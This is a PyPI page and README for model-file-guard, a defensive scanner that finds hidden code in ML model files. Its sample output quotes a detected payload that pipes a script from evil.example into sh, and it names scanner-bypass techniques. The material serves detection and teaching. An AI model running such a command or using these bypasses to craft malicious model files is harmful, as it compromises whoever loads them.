model-file-guard
Check machine learning model files for hidden code before you load them.
A .pkl, .joblib, .pt, .bin or .ckpt file is not just numbers. Loading it with pickle, joblib.load or an older torch.load can run any code the file asks for: install malware, steal API keys, open a shell. model-file-guard reads the file the way the loader would, without importing or running anything, and tells you what it would do.
$ model-file-guard downloads/
✖ DANGEROUS pytorch_model.bin [pytorch (zip)]
CRITICAL Pickle imports something that can run commands, run code, or touch files or the network
os.system: runs shell commands and changes files
where: archive/data.pkl @ byte 47
- would run: os.system('curl http://evil.example/x.sh | sh')
fix: Do not load this file. If you trust the source and need the weights, ask for a safetensors copy.
✓ OK model.safetensors [safetensors]
? REVIEW price_model.joblib [joblib]
MEDIUM Pickle imports code that is not on the allowlist
1 import(s) need review
- shopml.models.PriceModel: not on the allowlist: loading imports this and may run it
3 file(s) scanned: 1 dangerous, 1 review, 1 ok. Overall: DANGEROUS
- No dependencies. Pure Python standard library, Python 3.9 to 3.14.
- Allowlist, not blocklist. Only imports known to rebuild plain data, tensors or ML library objects pass. Blocklist-only scanners keep getting bypassed by imports nobody listed (
pkgutil.resolve_name,pty.spawn,uuid._get_command_stdout...). - Reads by content, not by file name. A pickle renamed
.binor.safetensorsis still scanned as a pickle. - Fast on big files. It seeks past tensor data instead of reading it: a 386 MB scikit-learn joblib file scans in 0.04 s with 20 MB of memory.
- Scans Hugging Face repos without downloading them, using HTTP range requests.
Built by Ahmad Zia, AI and e-commerce consultant and green/secure ML researcher. Free and MIT licensed.
Contents
- Install
- Scan a file or folder
- Read the result
- Your own model classes
- Scan a Hugging Face model before downloading it
- Use it in Python code
- Use it in CI (GitHub Actions, pre-commit)
- Check your installed libraries
- What it checks
- How it compares
- Limits
- Sustainable Development Goals
1. Install
You need Python 3.9 or newer. Check with:
python --version
Install:
pip install model-file-guard
Optional extras for zstd, lz4 and 7z files (some joblib files use these, and malicious models have used 7z to dodge scanners):
pip install "model-file-guard[compression]"
Check it works:
model-file-guard --version
If your terminal says command not found, use python -m model_file_guard instead of model-file-guard in every command below.
2. Scan a file or folder
One file:
model-file-guard model.joblib
A whole folder (every file inside is checked; files that are not models, such as README files, are skipped):
model-file-guard ./models
Your Hugging Face download cache:
model-file-guard ~/.cache/huggingface/hub
Useful options:
| Option | What it does |
|---|---|
-v |
Also show format details and notes (tensor counts, versions, how much was read) |
-q |
Print only the summary line |
--md report.md |
Save a Markdown report you can share |
--json report.json |
Save a JSON report (--json - prints it) |
--sarif results.sarif |
Save SARIF for GitHub code scanning |
--fail-on high |
Only fail (exit code 1) on high or critical findings. Default: medium |
--allow mypkg.Model |
Trust one extra import (see section 4) |
Exit codes: 0 = passed, 1 = something at or above --fail-on was found, 2 = could not run (bad path, bad option).
3. Read the result
Each file gets one verdict, from its worst finding:
| Verdict | Meaning | What to do |
|---|---|---|
| ✖ DANGEROUS | The file imports or runs something that can execute commands, run code, or touch files or the network. | Do not load it. Delete it or report it. |
| ! SUSPICIOUS | The file uses tricks that real model files do not (hidden zip entries, broken checksums, computed import names, template injection). | Do not load it. |
| ? REVIEW | The file needs code that is not on the allowlist, usually your own model class, or part of it could not be read. | Check the listed imports are your code. Then allow them (section 4). |
| ✓ OK | Only plain data, tensors, or known ML library classes. Safe formats (safetensors, GGUF, ONNX, plain .npy) are checked for malformed headers too. |
Fine to load if you trust where it came from. |
"OK" for a pickle means "nothing unusual found", not "certified safe": loading any pickle still runs the rebuild code of the libraries it names (scikit-learn, pandas...). For files from strangers, prefer formats that cannot hold code: safetensors, GGUF, ONNX, or skops for scikit-learn.
4. Your own model classes
If you pickled your own class (say shopml.models.PriceModel), the scan says REVIEW, because loading that file imports your code. When you have checked it is your code, allow it:
model-file-guard model.pkl --allow shopml.models.PriceModel
Allow everything from your own package:
model-file-guard models/ --allow "shopml.*"
Or keep a list in a file (one per line, # for comments):
# allowlist.txt
shopml.*
myteam.features.TextCleaner
model-file-guard models/ --allowlist allowlist.txt
Dangerous imports (os.system, eval, subprocess...) can never be allowed.
5. Scan a Hugging Face model before downloading it
model-file-guard hf openai-community/gpt2
What happens:
- The branch (
mainby default) is pinned to its commit hash, so every file comes from the same commit. - Each model file is read with HTTP range requests, only as far as the scan needs: a safetensors or GGUF header, a zip directory plus
data.pkl, a pickle minus the tensor data it skips. - You also see whether the repo ships Python code that needs
trust_remote_code=True, and what Hugging Face's own scanners say.
Options: --revision v1.0 (a branch, tag or commit), --type dataset, and --token hf_... for private or gated repos (or set the HF_TOKEN environment variable). The token is only sent to huggingface.co, never to the file CDN it redirects to.
One file at any URL that supports range requests:
model-file-guard url https://example.com/models/model.safetensors
6. Use it in Python code
Scan:
from model_file_guard import scan
report = scan("models/")
print(report.verdict) # DANGEROUS, SUSPICIOUS, REVIEW or OK
for f in report.files:
print(f.path, f.verdict, [x.rule for x in f.findings])
Scan, then load only if it passes (raises UnsafeModelError otherwise):
import joblib
from model_file_guard import safe_load
model = safe_load("price_model.joblib", joblib.load, allow=["shopml.*"])
With PyTorch, keep weights_only=True as well:
import torch
from model_file_guard import safe_load
state = safe_load("weights.pt", lambda p: torch.load(p, weights_only=True))
Load from a folder only you can write to: the file must not change between the scan and the load.
7. Use it in CI
GitHub Actions (fails the job on anything at medium or above, and shows findings in the Security tab):
# .github/workflows/model-scan.yml
name: Model file scan
on: [push, pull_request]
permissions:
contents: read
security-events: write
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v7
with:
lfs: true
- uses: actions/setup-python@v7
with:
python-version: "3.12"
- run: pip install model-file-guard
- run: model-file-guard models/ --sarif model-scan.sarif
- uses: github/codeql-action/upload-sarif@v4
if: always()
with:
sarif_file: model-scan.sarif
pre-commit (checks model files before each commit):
# .pre-commit-config.yaml
repos:
- repo: local
hooks:
- id: model-file-guard
name: model-file-guard
entry: model-file-guard
language: python
additional_dependencies: ["model-file-guard"]
files: \.(pkl|pickle|joblib|pt|pth|bin|ckpt|safetensors|gguf|onnx|keras|h5|npy|npz)$
8. Check your installed libraries
Some loaders had bugs that let a model file run code even in "safe" mode. Check yours:
model-file-guard env
It compares installed versions with known model-loading vulnerabilities (checked 4 Dec 2026):
| Package | Problem | Fixed in |
|---|---|---|
| torch | torch.load(weights_only=True) could still run code (CVE-2025-32434) |
2.6.0 |
| keras | safe_mode=True bypasses (CVE-2025-1550; CVE-2025-8747 and CVE-2025-9906; CVE-2026-1462 TFSMLayer; CVE-2026-12481 Lambda) |
3.9.0; 3.11.0; 3.13.2; 3.12.3 or 3.15.0 |
| llama-cpp-python | GGUF chat template runs code (CVE-2024-34359) | 0.2.72 |
| onnx | external data reads files outside the model folder (CVE-2024-27318; CVE-2026-34447 via symlinks) | 1.16.0; 1.21.0 |
| picklescan | misses payloads reached through pkgutil.resolve_name (GHSA-vvpj-8cmc-gx39) |
1.0.4 |
9. What it checks
Run model-file-guard rules for the full list with severities.
Pickle-based files (.pkl, .joblib, PyTorch .pt/.pth/.bin/.ckpt, NumPy object arrays, anything that is a pickle inside):
- every import the file makes, after the Python 2 renames pickle applies (
__builtin__.evalisbuiltins.eval); STACK_GLOBALnames taken from the memo or built by earlier calls, a layout that line-by-line scanners mis-tracked (GHSA-9gvj-pp9x-gcfr);- calls on the result of other calls (
getattr(...)(...),resolve_name('os:system')('id')); EXT1/2/4imports through the copyreg registry, attribute walks such asOrderedDict.__init__.__globals__, andBUILDused to monkey-patch imported classes;- pickles hidden inside byte strings of another pickle, and pickles that break halfway after their payload (the "nullifAI" technique);
- joblib files as joblib reads them (array bytes skipped) and as
pickle.loadwould read them, so instructions hidden in the array padding are found; - every pickle in old-format
torch.savefiles and in tar-format PyTorch files (which bypassedweights_only=Truebefore PyTorch 2.6, CVE-2025-32434); - whole models saved with
torch.save(model)instead of astate_dict(they do not load withweights_only=True).
Archives (PyTorch zips, .keras, .npz, tar, 7z, gzip, bz2, xz, lzma, zlib, zstd, lz4):
- zip members read from their own headers, with checksums checked rather than trusted (a bad CRC stopped picklescan while PyTorch still loaded the file, CVE-2025-10156);
- entries hidden between listed members, names that differ between headers, duplicate names, paths with
.., symlinks, encrypted members, decompression bombs; - files that are two formats at once (a pickle with a zip appended).
Formats that cannot hold Python code are still checked, because malformed headers crash loaders:
- safetensors: every rule the reference implementation enforces, including "no holes" (extra bytes can hide a second file).
- GGUF: every count and length bounded by the file size (llama.cpp heap overflows CVE-2025-53630, CVE-2026-27940), plus chat templates checked for Jinja sandbox escapes (CVE-2024-34359).
- ONNX: external-data paths that leave the model folder or are symlinks; custom operator domains.
- Keras (
.keras, legacy.h5): Lambda layers with Python bytecode, functions named by module (os.system,keras.utils.get_file,keras.config.enable_unsafe_deserialization),TFSMLayer, custom objects. - TensorFlow
saved_model.pb: file and Python ops (ReadFile,WriteFile,PyFunc). - Hugging Face folders:
auto_mapentries that needtrust_remote_code=True, and the Python files they point to; chat templates intokenizer_config.jsonand.jinjafiles.
10. How it compares
We ran three open-source scanners on 23 attack files (each reproducing a published technique) and 5 real benign files, on 4 Dec 2026. You can rebuild the files and rerun this yourself with examples/compare_scanners.py.
| model-file-guard 0.1.0 | picklescan 1.0.5 | fickling 0.1.13 | |
|---|---|---|---|
| Attack files flagged | 23 of 23 | 15 | 17 |
| Attack files not flagged | 0 | 6 | 1 |
| Attack files it could not read | 0 | 2 | 5 |
| Benign files flagged (false alarms) | 0 of 5 | 0 | 4 |
| Benign files it could not read | 0 | 1 (a plain scikit-learn joblib file) | 1 |
picklescan missed attribute walks, EXT imports, a gzipped pickle, a tar-format PyTorch file, a pickle hidden in bytes and a hidden zip entry. fickling treats every import outside the standard library as unsafe by design, so it flags normal scikit-learn and NumPy files. Both are excellent projects with different goals, and parts of this tool's design come from their published advisories. These numbers are for our test files only.
11. Limits
- A clean result means no known risk was found, not that the model is trustworthy. A model can also be poisoned to give wrong answers, which no file scanner can see.
- Pickle files that name your own code can only be judged by reading that code.
- Static checks of Keras configs and TensorFlow graphs look for known risky patterns, not every possible one.
- Remote scans of ONNX,
.pband.h5files larger than 256 MB are skipped (those formats must be read whole).
12. Sustainable Development Goals
This tool supports SDG 9, target 9.1: "Develop quality, reliable, sustainable and resilient infrastructure... with a focus on affordable and equitable access for all." Shared pretrained models are now part of the world's digital infrastructure: small shops, students and researchers in low- and middle-income countries depend on them because they cannot train their own. One poisoned file on a model hub can compromise every machine that loads it. A free scanner with no dependencies, that runs on a laptop and scans a hub repo without downloading gigabytes, makes that shared infrastructure safer to use for the people with the fewest resources to recover from an attack.
It also supports target 9.5 ("Enhance scientific research, upgrade the technological capabilities of industrial sectors in all countries, in particular developing countries..."): researchers and small teams build on shared models instead of training from scratch, and they can only do that safely if checking a model file is free and easy.
Research and sources
Every rule cites its source in the tool (model-file-guard rules, and refs in JSON output). Main sources, all checked 4 Dec 2026:
- PyTorch:
torch/_weights_only_unpickler.py(allowlist), theweights_onlydefault change in 2.6, CVE-2025-32434 - picklescan advisories: CVE-2025-10155, CVE-2025-10156, CVE-2025-10157 (JFrog), GHSA-9gvj-pp9x-gcfr, GHSA-hgrh-qx5j-jfwx, GHSA-vvpj-8cmc-gx39, CVE-2025-71355
- ReversingLabs, "Malicious ML models discovered on Hugging Face platform" (nullifAI, Feb 2025)
- Keras: CVE-2025-1550, CVE-2025-8747, CVE-2025-9906, CVE-2026-1462, CVE-2026-12481
- llama.cpp / GGUF: CVE-2024-34359, CVE-2025-53630, CVE-2026-27940; ggml
docs/gguf.md - ONNX: CVE-2022-25882, CVE-2024-27318, CVE-2025-51480, CVE-2026-34447; ONNX External Data Security docs
- safetensors format spec and
tensor.rsvalidation
Not affiliated with PyTorch, Hugging Face, Keras, ONNX, llama.cpp, JFrog, ReversingLabs, picklescan or fickling.
License
MIT. See LICENSE.
Guide, help and author
- Full guide with examples and FAQs: www.ahmadzia.com/tools/model-file-guard
- Background reading: Is pickle safe? ML model file scanners compared
- All 30 free tools and agent skills: ahmadzia.com/tools · ahmadzia.com/skills
- Want it set up, fixed or tuned for your store? Book a free call
Built by Ahmad Zia (Muhammad Ahmad Zia), an AI consultant for ecommerce since 2020 and green AI researcher at the University of Lahore. Research · Google Scholar · ORCID · LinkedIn · GitHub
More AI and store security tools
- shopbot-shield: Prompt injection protection for ecommerce chatbots and AI shopping assistants
- llm-store-review: Security review of AI chatbots and agents in your code, mapped to the OWASP LLM Top 10 2026
- rag-content-guard: Find hidden instructions and poisoned documents before they reach your RAG index or AI agent
- storeguard: Free security scanner for vibe-coded online stores
- payguard-check: Find payment security mistakes that give away free orders
All 30 tools and agent skills: github.com/MuhammadAhmadZia · ahmadzia.com/tools
Metadata
Release files for model-file-guard 0.1.0
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | Provenance | Actions |
|---|---|---|---|---|
| model_file_guard-0.1.0.tar.gz | 81.9 kB | With provenance | Details for model_file_guard-0.1.0.tar.gz |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Actions Reset |
|---|---|---|---|---|
| model_file_guard-0.1.0-py3-none-any.whl | Python 3 | none | any | Details for model_file_guard-0.1.0-py3-none-any.whl |
Total release size: 150.1 kB
Release files / model_file_guard-0.1.0.tar.gz
| Download URL | model_file_guard-0.1.0.tar.gz |
|---|---|
| Size | 81.9 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
bef46a8e9ea406f56a1a363d8a4f327390b5b184ff2e1ed14d336ab43ff46fdf
|
|
BLAKE2b-256 checksum How to use checksums |
b83c9e5f1abb21963601a42245fecb4a83e19cf9fd1cdd252cc32dd5cedfa4c6
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
Yes |
| Uploaded via |
twine/7.0.0 CPython/3.13.16
|
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
PyPI Publish Attestation
PyPI verified that this artifact, at this checksum, originated from the publisher listed below.
Signed by GitHub Actions, verified by PyPI on Dec 5, 2026.
Transparency logRelease files / model_file_guard-0.1.0-py3-none-any.whl
| Download URL | model_file_guard-0.1.0-py3-none-any.whl |
|---|---|
| Size | 68.1 kB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
f964736c2a61c03d30e1bc2a87cad98942c0bd03364f4dd47cddeb1b311815c4
|
|
BLAKE2b-256 checksum How to use checksums |
e30da425ce57a86efe1e1e80ca01152a36e60e090f43c793579de19543874e18
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
Yes |
| Uploaded via |
twine/7.0.0 CPython/3.13.16
|
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
PyPI Publish Attestation
PyPI verified that this artifact, at this checksum, originated from the publisher listed below.
Signed by GitHub Actions, verified by PyPI on Dec 5, 2026.
Transparency logSecurity for model-file-guard 0.1.0
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
Full provenance
Both files in this release have been uploaded with provenance metadata.
Attestation for model_file_guard-0.1.0.tar.gz
PyPI Publish Attestation
PyPI verified that this artifact, at this checksum, originated from the publisher listed below.
Signed by GitHub Actions, verified by PyPI on Dec 5, 2026.
Transparency logA note on package security
PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.
To learn more about protecting yourself from malicious actors, visit our package security documentation.